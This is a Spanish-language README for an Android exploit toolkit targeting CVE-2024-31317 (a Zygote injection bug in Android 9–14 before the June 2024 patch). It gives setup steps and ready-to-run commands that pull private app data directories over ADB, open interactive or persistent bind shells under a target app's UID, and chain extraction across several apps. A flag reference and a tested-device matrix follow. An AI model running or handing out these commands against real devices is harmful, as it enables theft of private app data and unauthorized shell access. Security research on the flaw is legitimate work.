
Este es un kit de herramientas que utiliza CVE-2024-31317 para extraer datos privados de aplicaciones a través de ADB o generar un shell con el UID de una aplicación.
Este es un toolkit que utiliza CVE-2024-31317 para extraer datos privados de aplicaciones a través de ADB o lanzar una shell con el UID de una aplicación. Esta vulnerabilidad afecta a las versiones de Android 9 a 14 con nivel de parche de seguridad 2024-06-01 o inferior. A continuación se encuentra una matriz de soporte de los dispositivos probados.
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
Añade las líneas export a ~/.bashrc (o equivalente) para que sean persistentes.
./setup.sh
# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
El exploit lo construye todo a partir de Hijack.java y AndroidManifest.xml en la primera ejecución.
python3 cve_2024_31317.py [flags] [package]
# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln
# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover
Todo se compila desde el código fuente en tiempo de ejecución. La cadena de compilación utiliza javac (JDK 17+), d8, aapt, zipalign y apksigner del Android SDK.
Si el dispositivo tiene un código de acceso, arranca en BFU (Before First Unlock). El exploit sondea sys.user.0.ce_available durante un máximo de 5 minutos hasta que desbloquees. Se recomienda eliminar el código de acceso durante la duración del exploit.
† Específico de Samsung One UI: la inyección ZNJECT tiene éxito y la extracción con -E funciona, pero la shell bind ServerSocket de toybox nc nunca se abre. Se necesita más investigación para encontrar la causa raíz del problema.
El payload que permanece en hidden_api_blacklist_exemptions puede causar un bucle de arranque en el siguiente reinicio. Ejecuta --recover para restablecer:
python3 cve_2024_31317.py -d DEVICE --recover
| Flag | Descripción |
|---|
-E | Extraer datos de la app mediante tar | nc de un proceso nieto (sobrevive a la muerte del padre) |
-i | Shell bind interactiva (REPL) |
-S PORT | Shell persistente (protocolo FIFO de un solo puerto) |
--recover | Restablecer ajustes, corregir cuelgues de arranque / degradación de Zygote |
--setup | Compilar e instalar solo el APK portador (sin inyección) |
--list-apps | Listar todos los paquetes instalados con UID y tipo sys/user |
--check-vuln | Comprobar si el dispositivo es vulnerable a CVE-2024-31317 y salir |
| Flag | Descripción |
|---|
-o file.tar | Ruta de salida para el tarball de extracción |
-y / --yes | Omitir las solicitudes de confirmación |
--retries N | Máximo de reintentos por objetivo (por defecto 3) |
--chain-targets "pkg1,pkg2" | Extraer varias aplicaciones en una sola sesión |
--chain-file file.json | Igual que lo anterior, desde un archivo JSON |
--reboot-after | Reiniciar después de la extracción (restaura Zygote) |
--reboot-every N | Reiniciar después de cada N objetivos de la cadena |
--cold | Omitir el calentamiento; almacenar el payload para el próximo lanzamiento de la app |
--port PORT | Puerto de la shell bind (por defecto 8888) |
-d SERIAL | Seleccionar un dispositivo específico (con varios conectados) |
--rebuild | Forzar la recompilación del APK portador |
| Dispositivo | Android | API | Parche | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | Puntuación |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (emulator) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |